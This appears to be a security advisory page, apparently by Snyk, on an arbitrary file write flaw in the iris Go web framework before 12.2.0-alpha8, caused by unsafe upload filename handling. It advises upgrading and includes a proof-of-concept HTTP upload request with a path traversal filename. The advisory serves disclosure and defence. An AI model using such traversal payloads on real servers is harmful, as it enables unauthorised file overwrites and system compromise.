Arbitrary File Write Affecting github.com/kataras/iris Open this link in a new tab package, versions <12.2.0-alpha8
Proof of concept
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.Test your applications
23 Dec 2021
23 Dec 2021
Snyk Security Team
How to fix?
github.com/kataras/iris to version 12.2.0-alpha8 or higher.
github.com/kataras/iris is a fast, simple yet fully featured and very efficient web framework for Go.
Affected versions of this package are vulnerable to Arbitrary File Write.
The unsafe handling of file names during upload using
UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.
PoC by Snyk
Based on the upload-files example.
POST /upload HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=----xxx Connection: close Content-Length: 151
------xxx Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file" Content-Type: text/plain
Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe